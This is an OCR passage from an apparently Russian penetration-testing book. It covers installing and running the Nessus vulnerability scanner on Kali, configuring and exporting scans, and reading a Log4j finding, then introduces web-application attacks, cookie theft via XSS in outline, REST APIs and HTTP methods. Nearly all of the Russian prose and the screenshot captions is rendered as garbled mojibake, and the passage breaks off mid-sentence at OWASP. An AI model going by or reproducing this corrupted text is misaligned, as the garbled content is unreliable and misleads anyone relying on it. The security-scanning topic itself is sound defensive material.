ero OyJIeT HECKOJIBKO CJIOJKHEe, YeM TIPeAbIAYILUii ckanep (06aBUTC ellle HeCKOJIb-
Ko mraroB). Iyt Hauasia ckadaeM caM ckaHep ¢ O(UIIMaIbHOTO caiiTa paspaboTyrKa
https://www.tenable.com/downloads/nessus.

Mbur1 BeiGpasu Bepeuto 10.5.1 mst 64-6urHoii Ubuntu. Tlocote 3aBepiieHust ckaunBa-
HUSI HAM HEOOXOIMMO WHCTAJLIMPOBATH CaM CKaHep, /ISt 3TOTO BBITIOJHIM KOMAaH-
Iy dpkg U B KauecTBe apryMeHTa YKasKeM IYTh K CKauaHHOMY (aiiiy:

$sudo dpkg -i /home/itsecbook/Downloads/Nessus-10.5.1-ubuntul404_amd64.deb
[Tocue 3aBeprieHns Tpoiiecca yCTaHOBKYA MOKHO 3aITyCTUTD Nessus:

$sudo systemctl start nessusd.service

[Tporecc samymien. Temeps, Kak 1 B caydae ¢ MPEABIIYIINM CKAHEPOM, MBI MOKEM
HOAKIIOUNTHCA K Nessus, UCIob3ys Haiu Gpaysep, — https://kali:8834/ (puc. 6.11).

) Nessus { Setup % | + = x
€ 2 C0 O & hups:ikali:883ase g @ & & =
" Kali Linux @ Kali Tools [ Kal Docs %, Kab Forums (3 Kali NetHunter & Exploit-DB & Google Hacking DB | OfSec b

Puc. 6.11. MNepsbiii 3anyck Nessus
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Bo BpEMA IIEPBOTO MOAKJJIIOYEHNA BaM 6szeT MPpEATOKEHO HpOﬁTH perucTpanuio,
BbI6paTb TUII TPOAYKTAQ, a TAaKKE IPUAYMaTb JIOTUH 1 11apOJib.

MNonuTunkmn

B Nessus cy1iecTByeT MHOKECTBO HOJUTUK /LIS Pa3/IMYHBIX 1ieJieil, OHU He CTaTUYHbl
U TIOCTOSTHHO T0OABIISTIOTCS, YAATSIIOTCST 1 06HOBIIsToTCsT. [Tommtuku Nessus — 970
IapaMeTpbl, KOTOPbIE OIIPEJesA0T TeXHUYEeCKUe XapaKTePUCTUKN CKaHUPOBAHUS
1es1eBoi crcteMbl. OHM MOTYT BKJTIOUATD B ce0sT Takye HACTPOIKIM, KaK KOJIMIECTBO
XOCTOB, HOMepa MopToB, cepBuchl, THT mpotokosa (TCP, UDP u ICMP), Tum cka-
Hepa MoPTOB U T. I.

Paspaborunku BKIOYMIN B Nessus HECKOJIbKO TOTOBBIX TOJTUTHK, OHU JOJKHBI
oMOYb criertnasucTam 1mo b mpoBoauTh peryJisipHbie MPOBEPKH CUCTEMBI Ha
cooTBeTCTBHE cTaHgapTaM (IPoBepKa YA3BMMOCTHU ceTH, oOpabaThiBarollell TpaH-
3aKIUU TJIATEKHBIX KapT, cootBeTcTBUs ctanapram PCI). Heemorpst Ha Hammune
JIOCTATOYHOTO KOJIMYECTBA PA3JINIHBIX TOTOBBIX TIOJTUTHK, BAM, KaK CIIEIUATICTY TI0
6€301aCHOCTH, PAaHO WJIU MO3HO TOTPeOyeTCst CO3aTh COOCTBEHHbBIE TOJUTUKH JIJIs]
MIPUIIETBHOTO CKAHUPOBAHUS pasandHbiX THIoB NC.

JLJ1st 03HAKOMIIEHUST € TIOJIUTUKAMU U Havasia paboThl ¢ HUIMU Ha;KMUTE KHOTIKY Polices
Ha jieBoii manenu (puc. 6.12).

() Nossus Essentials / Palkc = | 4 -

o
© 2 C @ O G hipsikalisssdsscansipolciesinew o 2 & @ =

"5 Kali Lnes 8 Kol Tools [ Kall Docs ™, Kol Forums 8 Kall MetHunicr = Explon DB Google Hacking 0B L OffSec g Greenbone Secunty A...

Palicy Templates
P— € Back o Policies
i Alscans Scanmer
B Tash

DISCOVERY
0 rolicies o
B Plugin fules

Haat Discovary

) Terrascan < v

VULMERABILITIES

I # @ 9

Bashe Metwork Scan Advanced Scan by

o A u & &

Web Application Tests Credentialed Patch Audit Intel AMT Security Bypass Spectre and Meltdown WannaCry Ransemware

A o Sl s
@?) == i3 =

Rinnla2n Remnte Sean Terolegon Remote Scan Solarigate ProxyLogon : M5 Exchange PrintNightmare

il

Puc. 6.12. Cnnmcok nonanTmk
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O6paTI/ITe BHUMaHHWE, YTO HEKOTOPbIC ITOJIMTUKHN 6yIIyT JAOCTYITHBI TOJIBKO CHACTJ/IN-
BbIM O6]Ia]IaTeJIHM TLIATHOM BEpCHUU JaHHOTO CKaHepa.

o4
lNownck ys3BMMOCTEN
Kak u 8 OpenVAS, 3amyck TpocToro ckanupoBanus B Nessus SBJISIETCS JOCTATOYHO
TPUBHUATBHON 3a/1a4ell, T03TOMY JaBaliTe PACCMOTPHM TIPOTIECC CO3IAHMST TTePCOHA-
JIN3UPOBAHHOTO CKAaHUPOBAHWA.

Jlis Havama paboTHI METKHUTE Ha KHOMTKe New Scan B IpaBoOM BEPXHEM YTJTY, & 3aTeM
BeiOepuTe yHKT Advanced scan (puc. 6.13).

() Nossus Essentials / Scar = | 4

=}
o O @ O & hipsikalissaascansieparsingw bl g £ @ =

"5 Kali Linee 8 Kol Tools [ Kall Docs ™, Kol Forums 58 Kol MetHunier = ExplotDB = Google Hacking 0B L OffSec g Greenbone Secunty A...

Scan Templates
«Batk 1o Seans

B My Seans
W Alscans
B Trash

Scanner

DISCOVERY

Pelicius.

Pligin Rules

’s@o

Terrascan

VULMERABILITIES

I # @

Bashe Metwork Scan Advanced Scan
A full st geae psitaiia for any Contigure 3 1w n

Cradentialed Patch Audit Intel AMT Security Bypass

Terologon Remaote Scan Solarigate ProxyLogon : M5 Exchange PrintNightmare

Puc. 6.13. Co3naHue 3aaaum

[TocJie aTUX IEiicTBUIT TTOSIBUTCST MacTep HacTpoiiku. B pasnese General Heo6Xxoanmo
3a/aTh UM 32/1a4M 1 ONUCAHNE — Celyac 9TO MOKET MOKA3aThCsl HEe OYEHb aKTY-
AJIBHBIM, HO OKQJKETCST TAKOBBIM, KOT/[A KOJIMYECTBO 33/1a4 [EPEBAIUT 32 HECKOJIBKO
necatkos (puc. 6.14). U1 koneuHo, He 3a0yibre yKa3aTh LeJIN.

Ecin 3aady HeOOXOAMMO BBIIOJHATH PETYJISIPHO, B pasiese Scedule MOKHO
3a/1aTh WJIN U3MEHUTH pacnucanue. ITo ObIBAET MOJE3HO, €CJIU B OPTaHU3AIIH
0OHOBJIEHUE BEO-TIPUIIOKEHUSI, HATIPUMED, IPOUCXOIUT KaKIAbIH TOHEIETbHIK

(puc. 6.15).
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() Nossus Essentials / Scar = | 4
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Mew Scan / Advanced Scan
&y seans € Back to Scan Templates
Al Sca
- ans Suttings Credertials Flugins.
B Trash
BatiC -
o Genaral w2 My frs sean
Pelices
Schadule
B riugin iues Daseripticn created for test purposes
# Terrascan Notifications.
DISCOVIRY
RSsESTMENT Fader Wy Seans -
repoaT
[r— Targeta 1zze|
Upload Targets Add File

Cancel

Puc. 6.14. Co3naHne HOBOW 3adauun. Pasgen General

() Nossus Essentials / Scar = | 4

“ 2 O @ O & i ¢16-03b6- 80 1d-coté- ing Ev (=
" Kali Linex 8 Kall Tools [ Kall Docs “, Kall Forums 3% Kall NetHunier % Explot DB Google Hacking 0B L OffSec g Greenbone Securty A

Mew Scan / Advanced Scan
€ Back to Scan Templates

B My Seans
Al Scans
- Suttings Crederitials Phugsns.
B Trash
Bate -
0 Ganaral Skl ®
Plicios
schudule HEITE: Ginly e schidibe ean b anabled. Any other sehedulid seans will be disablod. Upgrads to Nessus Professicasl
B Plugin fules
— Nocfications.
DISCOVIRY Fregquency Wieckly -
ASSESEMENT
Searts 100 v | | FEE0S0R
wapoar
ADANCID Timezane At Verk -
Repoat Fuary ek -
Repeat On 5| M T W T F|S§
Summary Hepeats every week on Manday at 12:00 PM, starting on Tuesdsy, May Sth, 2023

Zoho Managetngine El o

Puc. 6.15. YnpasneHve pacnucaHnem
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Ecm BBI XOTHTE TOTYYaTh YBEAOMIEHUS O MPOAETAHHON CKaHepoM paboTe, CKOH-
urypupyiite nannyto 3amauy B paszese Notifications. B ranHbIil MOMEHT TTO/IIEPKU-
BAaIOTCsI YBEJIOMJIEHUS 110 AJIEKTPOHHO TTOUTe.

Ha ciemytomem 1are HaMm He0OXOAUMO YKa3aTh, 4TO MbI Oy/IEM UCITOJB30BATh JIJIsT
oOHapysKeHUs U UCCIe0BaHUi X0cToB B 1esieBoit IC. ITo menaercs B pasjgese
Discovery, TyT BBIOMPAIOTCS] METO/bI JLJIS:

e oGHapyskenus xoctoB B cetu: muHT (ARP, TCP, UDP u ICMP), o6HapyskeHie
ceTeBbIX IPUHTEPOB, X0cToB Novell NetWare;

® CKaHHPOBAHMA IIOPTOB: HACTPaMBa€MbI€ OIIIIUU [Jd CKaHUPOBAaHMA AMalla30Ha
MOPTOB WJIK OHOTO TopTa, obHapyskenust Secure Shell (SSH), noncka uxcrpy-
menToB yrpasiernuss Windows (WMI), SNMP; nojjiepskka CKaHUPOBAHUST TOP-
ToB TCP m UDP, a Takske CKpPBITOTO CKAHUPOBAHUS;

® obHapyKeHUsT CIyKO ¢ COTOCTaBICHUEM KaxkK/I0i HAIEHHOI CITyKObI ¢ HOMEPOM
nopTa.

B paszene Assessment (OrieHKa) MbI MOKEM YKa3aTh, KAKKE TECThI HEOOXOMMO MTPO-
BECTH 110 OTHOIIIEHUIO K Hal/IeHHbIM XocTaM. KoHburypaims 3a1aeTcst B CIeIyIONux
pasjenax:

e mepebop (Brute Force): MOMbITKA IPOHUKHYTH B CHCTEMY, HCTTOJIB3YST METOT TIEpe-
6Gopa JIOTHHOB ¥ TIapOJIei;

o BeO-npwioxenus: (Web Application): ipoBepka Haii/leHHBIX TIPUIOKEHUN Ha Ha-
Jinyye U3BeCTHLIX CKaHepy ysa3BUMOCTell;

e Windows: TIoIbITKa O6Hapy>KeHI/IH JIOKAJIbHBIX 1 TOMEHHBIX HO]IbSOBaTe]Ieﬁ;

e BpenonocHoe [1O(Malware): ckannpoBanue Ha Hasmnuue BpegioHocHoro I10.

3a1aB Bce HEOOXOAUMBIE TTaPaMETPhI, COXPAHUTE KOH(PUTYPAIIUEO ITPU OMOIIIN KHOII-
ku Save. Co3nannas koHguUTypalys Ternepb COXpaHeHa B manke My Scans u rotoBa
K 3amycky. /lyig BeITOTHEHMST CKaHUPOBaHUST HAKMUTE KHOTIKY Launch.

DKCMNOPT pe3y/bTaToB

3aBepIuB CKAHUPOBaHKE, MOKHO TIPOCMOTPETH MOJIyYeHHbIE PE3YJIBTAThI, KINKHYB
Ha HYKHOU 3amade. B aToM ke pasjiese ecTb moJie3Has (hyHKINS 9KCTIOPTA PE3yIb-
TATOB JIJIST MOCJIEAYIONIETO BKIIOYEHMS MTOCJAEIHUX B BAIl OTYET WJIH JIJIS TIepelaun
JIPYTUM uJieHaM Baireil komaubl. /lannbie akcoptupyiores B PDE, HTML u CSV.
(puc. 6.16).

Jl1s1 akcmopTa HAXKMHUTE KHOTIKY Report B mpaBoM BepxHeM yTiy. Temeps MOXHO
yKa3aTh HeOOXOAMMbIE OTTIAN JIJIST 9KCTTOPTA PE3YTHTATOB.
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(" Nessus Essentials / Fold: = | ) my first scan_zdkdmS.pdf = 4 —
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L

© 2 C @ O A hupsihalissadkiscansiepons/ihass 1 g &
"5 Kali Ui @ Kol Tools [ Kall Docs %, Kall Forums (38 Kal NetHunier = Explof DB Google Hacking DB L OfSec &b Greentone Securiy A,

Generate Repart

Report Format: | HTML @ FDF OS¢
Seluct s Report Template:

| Template Bescription:
This report provides a summary It of vainerabiltes for each host

Complete List of vulnerabilities by Host detected i the scan.

Detalied vulnerabilnies By Host
Deetalled Vulnarabilties By Flugn
Vulnershilty Dperations

Filters Applied:
Hene

Puc. 6.16. 'eHepauuns oTyeTa

AHanus3 pe3ynbTaTtoB

Termepb MbI 3HaeM, KakK 3allyCKaTh CKAHUPOBAHUE U TEHEPUPOBATH OTYETHI, — CO-
[JIACUTECH, HTO IOCTATOYHO MPOCTO U HE TpedyeT rIyGOKMX TeXHUYECKUX 3HAHUIA.
Opnnako Ha 3TOM pabora creruanucTa 1mo B He 3akaHUMBAETCS, @ TOJBKO HAUM-
Haetcst. Ha caemyrotiieM atarne HaM HeOOXOAMMO O3HAKOMUTBCS € Pe3yJibraTaMu
¥ TIPOAHATU3UPOBATD MX.

[ljis1 mpocMoTpa pe3y IbTaToB OTKPOiiTe UH(MOPMAIUIO O BHIITIOJHEHHOM CKAaHUPOBA-
HUM U riepeiinTe Ha BKIaAKy Vulnerabilities (puc. 6.17).

ITepes BaMut IOJIHBII CIIMCOK BCEX YA3BUMOCTEl, KOTOpble 00Hapy kuji Nessus, Bbi-
OJIHVB CKaHUPOBAHUE 110 3aaHHBIM BaMH TTapamerpaM. Ho aTo eliie He Bce — B 9TOM
paszesie yI3BUMOCTHU CTPYIIIMPOBAHbI 110 KaTeropusaM. YToObl I101y9nTh 6oJiee mo-
pobryio nHpopmaImio, nepedanTe B OHy 13 Kateropuit (puc. 6.18).



204 naBa 06 e [louck ysa3BMMOCTEN
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iy first scan Configure  Audit Trai Launch ™ Repart  Export ¥
B Myseans € Back to My Scans

Al Sca
- an Wosts 1 Vulnerabilities (83 fMotes 1 History 1
B Trash

Pilter « rabilives
Q rolicies Sevw CVSSy  WPRe  Mame s Family & Count v Sean Datails
B Plugin fuies == B dpad..  hEC " relley: Advaniced Sean
) Terrascan Stanus: Compieted
=3 ST T — 18 Serity Base: CVESVID 4
Scanner: Local Scanner
[ vor | § TLS(MuL.  Service detection ] Start Teday at 518 AM
Enc: Today at 5:38 AM
[T | 3 HTTP (M.  Wab Servers 8 Dlagect 21 mirmtes
[ e B WebSer.  Web Severs 7 Vulnerabilities
[ | 3 MM, General 5 & Critical
& High
) S s Seneal s o Medum
Low
® Info
Cmo | . 3 MTTP (M., OG0 sbuses 3
[T | 3 Apache_.  Web Senvers 2
Contec CONPROSYS
HMI System [CHS) [ Metstal Ports..  POM scanners ]
Unauthenticated ...
R [T Serdce Getec..  Senvice detection 7
[T Web Appiicatl..  Web Servers 5

Puc. 6.17. NpocMOTp pe3ynbTaTos
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my first scan / Apache Logdj (Multiple Issues) Configure | Auit Tral mith = peport | Dxpon T
oy « Batk 1o vulnerabilties
U ez Wosts 1 Vulnerabilities (3 Motes 1 Histery 1
B Trash
Pelices Sevw vss e VPRe Name s Family & Count v Scan Detall
ly ils
Plugin Rules
8 rug B o JpacheLogth. s 2 Poley Acvanced Sean
® Terrascan Stanus Compisad
EEl - 74 Apachelogdl. Mec 2 Severity Base: CVSSVAD
Scanner: Local Scanner
Em s 74 Apschelogll. M ) Start Tosday at 518 AN
End: Today at 5:38 AM
[T Apache Logdl..  Mec. ) Clapied: 21 iiemites

Vulnerabilities

Critical
’ B
& Madiam
Lo
® Info

Puc. 6.18. NpocmoTp kaTteropumn Apache Log4j



Temepsb BbI BUIUTE CIUCOK ySI3BUMOCTEN ¢ KpaTKoi nHbopmaiineii u ortenkoir CVSS
(puc. 6.19). [I1g 1mosyyeHus AeTadbHbIX JaHHBIX HOIPOOYIITe KIMKHYTh 110 OQHOM
13 CTPOK crucka. Vemosnb3ys nosydeHnyio nHGOpMaIinio, Bbl MOJKETe OTIPE/IETUTh
ciabbie Mecra B nenesoil MIC, onpeaeuTs JaJabHERIIi BEKTOP TPOHUKHOBEHMS
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1 104006paTh HEOOXO[UMbIE HHCTPYMEHTBI JIJISE OCYIIECTBIECHUS aTaKuU.

() Nessus Essentials / Foid = | () my first scan_zddmSpdt =+
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B Trash
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Seans

my first scan / Plugin #156032 o | e
¢ Back to Vulnerabiley Group

Hosts 1 Vulnurabilities 3 Notes 1 Higtery 1

IEEEE 4 pache Logdj Unsupported Version Detection

Description
According 1o its self-reported version nuenber, the installation of Apache Logg) on the remote host i no lenger supported. Logy
reached its end of life prios to 2016,

Lanck af suppart irplies that y patehies for the praduct wil be el , saalt, 2 45 ey b

cantain securiy wlrerabillties.

salution
Upigrade 1o 3 versian of Apachs Logd] that ks currencly suppanad

Upgrading 1o the Latess verskons for Apache Lags) is highly s 1 panches hawe known high
¥ and the vendor 15 advisories often and knowledge about the impact of Logd)
I5 dscovered, Refer to !

See Also
hatpcthomw. sz, orpuRSOfEsSal

Launch Report  Lxpent ™
Plugin Details
Sensurity: critteal
o 136032
Versiort 14
Type: Incal
Farniky: M
Pusishar Dacember 13, 2021
Modfied: May 18, 2022

Risk Infermation

Risk Factor: Criical
CVES v3.0 Base Score 10.0

CVS5 VA0 VBctor CVSS:T AN NIACLIPRN
LN CICHEHIRH

V55 V2.0 Base Score 10.0

WSS VE.0 Wtor: CVSS2EAVNIACLIALNICC
DT

Tenable News Sutput
Vulnurability informatien
Mind the Gap: A Path 1 fhome/itseckook /Dewnloads /MagicTree - bulld1814. jar
Closer Lok at Eight Installed versice i 1.2.15 CPE: epariacapachasingd]
Notable CVEs .
To see debug o, alease vt Indidual host Unaupported by vendar: true
R M Part o Hasts
Reference Information
LY localhost

Puc. 6.19. VHdopmauums 06 ys3BuMocTu




ATaku Ha Be6-NPUIOXEHUS

[Ipeamonoskum, 4To B Xojie cbopa WHMOPMAIIUH O TIETEBOH OPTaHU3aIU Mbl 0OHA-
pysxuin BeG-npuoskenue. Ha camom jiesie 66110 GbI 04€HD CTPAHHO, €CJIU GBI B X071€
cbopa uHGOPMAIUU MBI He OOHAPYKUJIM HU OHOTO BeO-npuiiokeHust. YTo ke 910
Takoe? BebG-mpusoskenne — 3T0 MporpaMMHOe obecrederiie, KOTOPOe UCIIOTb3YeT
BeO-TEXHOJOTHY U paboTaeT epe3 MHTepHeT-Opay3ep. OHO MOJKET BHITTOTHATH Pas-
JIMYHbBIE 33191 U (GYHKINI: 00pabOTKA TaHHBIX, YIIPABIEHNE KOHTEHTOM WUJIH TIPEIO-
CTaBJIEHUE HHTEPAKTUBHBIX CEPBUCOB. BeG-TPIIIOKEHMST IOCTYMHBI Ha PA3IHYHbBIX
mathopMax U yecTpocTBaX — KOMIIbIOTEpPax, cMapT(OHAX U TJIAHIIETAX, TIPH ATOM
He TpeOYIOT YCTAHOBKU Ha JIOKATbHOM KOMIIBIOTEPE, TIOCKOJIbKY OCHOBHAS YaCTh UX
byukIuit 06pabaThiBaeTCs Ha cepBepe. ITO MO3BOJISIET TOTB30BATESIM TTOIYIATh
MOCTYT K BeG-TPIITOKEHHUTO ¢ TT06OTO MecTa 1 Ha JT06OM YCTPOHCTBE, MMEIOTIEM
MOJIKTIOYEHNE K HHTEPHETY.

ITomny I pHOCTD TAKUX MTPUJIOKEHUIT TIOCTOSTHHO PACTET. ITO JIETKO TOHSITh — BeO-
TPIIIOKEHNST — KPOCC-TLIATGOPMEHHbIE, MHOTOOTb30BATETbCKIE, He TPeOyToIne
KINEHTCKUX BbIYNCJINUTEJIbHBIX MOHIHOCTeﬁ 1 BMeECTe C TEM HeO6bIKHOBeHHO (bYHK-
ITNOHaJIbHBIE. prHHbIe OopraHmnaanuu O6bI‘-IHO A€pKaT CBOU PECypPChbl Ha CBOUX JKe
cepBepax, U Pa3yMeeTcst, K 3TUM cepBepaM eCThb JOCTYIT Y J060To YesoBeka. Beab wer
CMBICJIA JIEJIATh MYOIUYHYIO CTPAHUYKY OPTraHU3AIIUH ISt TOTO, YTOOBI BIIOCJAEACTBIN
3aKPbITh TIOJH30BATENAM TOCTYII K HEl. ITO U JiesiaeT BeO-PUIOKEHHsT CaMoii 1o~
MyJISIPHON MUIIIEHBIO /IS aTak.

Ecan panbiie Be6-crpannyku Obin cseperanbl Ha HTML u npeacrasisam coboit
He YTO MHOE, KaK IPOCTOI JOKYMEHT, TO Teleph MIPaKTUYECKH JI000ii CallT sBJIser-
CST CJIOJKHBIM TIPOTPAMMHBIM TIPOLYKTOM C MHOKECTBOM TIOKJIIOUAEMBIX MOYJIEH.
[TporpaMMHbBIA KO/ BBITIOJTHSIETCST HA CTOPOHE CEPBEPA, a MOJIb30BATENIO BHITAETCS
TOJIBKO PE3YJIBTAT €r0 PadOTHL

B3iiom BeO-ITPUIIOKEHIST CTAHOBUTCSI BO3MOKHBIM 110 JIBYM TIPUYUHAM: 3TO IPO-
IPaMMHBI KOMILJIEKC, KOTOPBIN, Kak U JI0OOMH APYroii, MOKeT OBITh B3JOMAaH; 4eM
GOJIbIIIE TIPOTPAMMHOTO KOJIA, TEM OOJIbINE BEPOATHOCTD OMIUOKU B HEM.
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3HAKOMCTBO C cookie

ITozHakoMuMcs TIOOJIMZKE € TaKOI, Ka3aIoCch Obl, NU3BECTHOI BelIbIo, Kak cookie. Baxk-
HOCTb cooKie HeJlb3sl IIpeyMeHbIIaTh, KaK 1 MOTEHI[MaJbHble PUCKU U IIOTEPH, CBSI-
3aHHBIE C BOBMOKHOCTDHIO MCITOJIB30BAHUS UX 3JIOYMBITIIIEHHUKAMHY JIJIsT CBOUX aTak.

Bce GoJblime caiiTbl HAUMHAOT KOT/Ia-HUOY /b HCIIOJIB30BaTh COOKie, TP HbIHEIITHEM
MOJIOKEHNHN Bellel 9TO PAKTHYECKN HensbeskHO. BosbMeM, HallprMep, caMblii 00bId-
HbII HHTEpHET-MarasuH. [Tob30BaTe b POCMATPUBAET KATAJIOT TOBAPOB U 00ABIIA-
eT O/IVH U3 HUX B KOp3uHy. Ha aToii crajium nHTepHeT-Marasut yske cosaaet 6e3 ero
Begoma daitn cookie Ha KomibioTepe mosb3oBaresist. Daiin Gy et copep:xath B cebe
uH(bOPMAIHIO O TOBapax B KOP3WHE B KauecTBe 00s13aTeIbHON. Beb-IpuiioKeHo
HEOOXOIMMO TJIe-TO XPAaHUTh HHMDOPMAITHIO O ACHCTBUSIX TT0JIb30BATEIST, BE/b TPaK-
THYECKM KaKblil pas, KOra MOKynaTeJb Ha)kMMaeT Ha KaKylo-11n00 KHOMKY Ha
CTpaHWYKe, TPUTOKEHNE HAa CTOPOHE CEePBEpa 3aIyCKaeTcst BHOBL.  1e1aTh 910 OHO
GyJIeT, IMesi B PACTOPSKEHUN BCe JIAHHbIE, KOTOPBIE TIPEI0OCTABIII MOJIb30BATEb
B TeUeHHE ITOH ceccnu, a Takke HHPOPMAIIUIO, KOTOPYIO CTEHEPUPOBAT CaM CEPBEP.
YT00bl HE TPATUTH PECYPCHI MPEATPUSATHUS [IJisk XPAHEHUSI 9TOTO MacCuBa WH(OP-
MallMu, Ha CTOPOHE KJAueHTa u cosaaercs daiii cookie. B HeM MOKeT XpaHUTbCS He
TOJIBKO MH(OPMAIUS 0 ToBapaX, HO U JIaHHbIE /IS ayTeHTUMUKAIN, TIEPCOHAIBHBIE
JaHHbIE TIO30BATEIIST M ICTOPHS €T0 MPOIILIBIX CECCHIA.

MDaiisnbl cookie Takke MOTYT MCIIOJIB30BATLCS ST OTCJAEKUBAHUS AKTHBHOCTU
TIOJTB30BATEST Ha BeO-caliTe, 4TO TTOMOTAET AIMUHICTPATOPAM CaliTa aHATM3MPOBATD
Tpaduk 1 oNITUMHU3NPOBATH KOHTEHT. OHM crysKaT A1 NAeHTU(UKAINN TT0Th30Ba-
TeJIeid, TIoMorasg COXpaHUTDb X BXO/] B CUCTEMY IIPU IIePeX0/iax MeXK/y Pa3IMyHbIMU
CTPaHMIIAMU CaiiTa, U MOTYT NCIOJIb30BATHCA IS TIPEIOTBPAIICHNS MOIIIEHHUYECTBA.

Opnnako daitbr cookie Takke BBI3BIBAIOT OTIPe/IeJIEHHBIE TIPOOJIEMBI ¢ KOH(DUIEH-
MIATHLHOCTHIO, TOCKOJIBKY OHU MO3BOJISIOT BeG-caifiTaM OTCIEeKMBATD MeiiCTBUS
nosib3oBaresieit u cobupars nHbopMaIio 6e3 uxX coracust. B ¢Bs3u ¢ 5TuM MHOTHE
CTpaHbl BBEJIM 3aKOHBI, TPEOYIOIINE OT BeO-CallTOB MH(MOPMUPOBATH MOJIb30BaTENEH
0 CBOEHI TIOJIUTHKE MCIOJIb30BaHUsT cookie 1 moJIydaTh MOITBEPIKICHNE COTIIACHS] HA
X IIpyuMeHeHune.

Crpykrypa (aiiia cookie goctarouHo mpocTa. ITo OGBIYHBINA TEKCTOBBIN (aill, rie
IaHHBIE TIPEJICTABIEHB! B (hopMaTe «IIapameTp = 3HaueHHe». [lanHble daiina mepe-
natorcst mo SSL-ipoTokosty, HO anHble (daiiia, Co3/[aHHOTO CAliTOM MYCOTp.oTrg, He
MOTYT OBITh IIPOYUTAHBI BEO-IIPUIOKEHNEM, pabOTAIOIIUM Ha APYIOM JIOMEHE, Ha-
npuMep myisp.net.

Yro ke MOKHO ciesaTh ¢ 9TuM daiiiom? Ero MoskHO yKpacTs. [yt aTOTO OUeHb ua-
cro ucnonbsyor XXS, Kotopslil Oyuer paccMoTpen aanee. Ilogmenus cBoii cookie
Ha cookie-caiin skepTBBI, MOKHO 63 TpobiieM paboTath OT ee umMeHu. Kpome toro,
POAHATU3UPOBAB caM (halyl 1 TTOMEHSIB 3HAYEHUsT B HEM, MOKHO TIOTIBITAThCS O -
4rTh GOJIee BBICOKUE MPUBUJIETHU UJIH JOCTYI K aJIMUTHUCTPATUBHON YacTH caiiTa.
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REST API

REST API (Representational State Transfer Application Programming Interface) —
9TO CTUJIb aDXUTEKTYPBI 1 HOAXO0/] K 0OMEeHY JIaHHBIMU Yepe3 HHTEPHET MEKIY pas-
JIMYHBIMUA KOMIOHEHTaMHU OZHON CUCTEMbI MM Pa3HBIMU CUCTEMAMU, OCHOBAHHbIIL
Ha nporokosne HTTP.

REST upeacrasiser co6oit HaGop IPUHIIUIIOB U OTPAHUYEHUH, KOTOPbIE JeJatoT
B3aUMOJIEHICTBIE MEKY CHCTEMaMK Gosiee THOKIM, MAcIITaGUPyeMBbIM W Ha/EK-
HBIM.

K ocuosubim nouaruam REST API ornocsarcsa:

® OTCYTCTBHE MCIOJAb30BaHuA nHbopMalmu o coctosuun (Stateless). Kaxaprii
3a1poC KJIUEHTA JI0JKEH COJEPKaTh BCIO NH(MOPMAIIIIO, HEOOXOIMMYIO JIJISI €70
obpabotku. CepBep He XpaHUT WH(OOPMAIIUIO O TPEABIYIUX 3aPOCAX, UYTO
yrpoiiaet 00paboTKy 1 MacIITaOUPOBAHNE;

e xamupyemocts (Cacheable). OTBers cepBepa MOTYT OBITH KIIMIUPOBAHBI HA
CTOPOHE KJIMEHTA, YTO CHUYKACT HATPY3KY Ha CEpPBEpP M yCKopsieT 06paboTKy Mmo-
CJIeJIYIONINX 3aIIPOCOB;

e yuudunupoanHocts maTEpdeiica (Uniform Interface). CranaapTusnpoBaHHbII
Habop meronos u npasui aeinaer REST API ipocTbIM /1S UCIOJIb30BAHUS U [10-
HUMaHWST;

e uepapxus kaent — cepsep (Client-Server). BzaumogeiicTBre Mex 1y KIMEHTOM
U CEPBEPOM PA3/IEJIEHO, UTO TTO3BOJISIET Pa3padaThiBATh M MACIITAOMPOBATH KaK-
JIYIO 4aCTh HE3aBUCHUMO JIPYT OT JPYyTa.

REST API ucnosnssyet crangaptabie MeTosbt HTTP st BeimonneHnst Takux
omepanui, Kak cosfanue, yrenne, oonosaenue u yaanenue ganabx (CRUD). Otu
metoznl BKiovaoT B cebd GET, POST, PUT, PATCH u DELETE. REST API tax:xe
UCTIONB3YeT cTaHAapTHBIE Koabl coctoguausg HT TP nnsg nnaukaum ycrnenrtHocT uian
OLIMOKK BBIIIOJHEHUS 3aIIPOCa.

REST API yacro ucnosbsyercs st paspaboTKu BeO-CepBUCOB U B3aUMOAEHCTBUS
MESKLY PA3JINUHBIMKI KOMITOHEHTAMU CUCTEMBI UJIU C JIPYTUMU CUCTEMaMU — MOOUJTb-
HBIMU TIPUJIOKEHUSIMH, BeO-TIPUIIOKEHUSIMU UM CTOPOHHUME CEPBUCAMU.

HTTP-meToabl

[Tog HTTP-meTomamMu MOHUMAIOTCS CTaHaPTHBIE METOBI 3aITPOCOB, UCIIOIb3yeMble
nporokosiom HTTP jist B3aumoielicTBrst Mexy KaneHToM u cepBepom. OHu orpe-
JEJISTTOT IEHCTBIIE, KOTOPOE 0JKHO OBITh BBITIOJTHEHO Ha CEPBEPE B OTBET HA 3aMPOC.
OcuosabiMu HTTP-MeToamMu SBaSI0TCS Ceyolme:

e GET: ucnosbayercs 1715 oJydeHns IaHHBIX OT cepBepa W He BIUSET Ha eTo CO-
CTOSHUE;
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e POST: ornpaBsisieT JaHHBIE HA cepBep /IJII CO3/IJaHNST HOBOTO pecypca UJIN U3-
MEHEHUS CYNIeCTBYIONNX JaHHBIX;

e PUT: sarpyskaer JaHHbIe HA CEPBEP JIJIsI IOJTHOTO OOHOBJIEHUSI CYIIECTBYOIIETO
pecypca UM Co3/lalius HOBOIO, eCJld OH He CyLIeCTBYeT;

e PATCH: sarpyskaeT JaHHbIE Ha CEPBEP JJIST YACTUUHOTO OGHOBJIEHUSI CYIIIECTBY-
IOIIET0 pecypea;

e DELETE: ynanger ykazaHHbII pecypc Ha cepBepe;

o HEAD: ananornuer GET, Ho Bo3BpalllaeT TOJIbKO 3ar0JI0BKHM OTBETa, 6e3 OCHOB-
HOTO COJIep:KaHNs; MCTIOTh3YeTCs JIJIsl IPOBEPKU CYIIECTBOBAHUS pecypca Win
MOJTyYeHUST META/IAHHBIX;

e OPTIONS: BosBpaiiaer nH(hopmMaImio 0 METO/Iax 3apOCOB, MOIEP;KUBAEMbIX
IS YKa3aHHOTO PECypea;

e CONNECT: ucnosbayercst IJisl yCTAaHOBJIEHMS CETEBOIO COAMHEHMs, 00BIYHO
B KOHTEKCTE HCIT0JIb30BAHMS TPOKCU-CEPBEPA;

o TRACE: Bo3Bpaliiaet 3apoc, KOTOPbIi ObLI OTIIPABJIEH KJIUEHTOM, B TEJIE OTBETA;
UCIIOJIb3YETCA JIJI IMAarHOCTUKU U OTJIAJKU.

OWASP

OWASP (Open Web Application Security Project) — MeKayHapogHass HEKOMMEp-
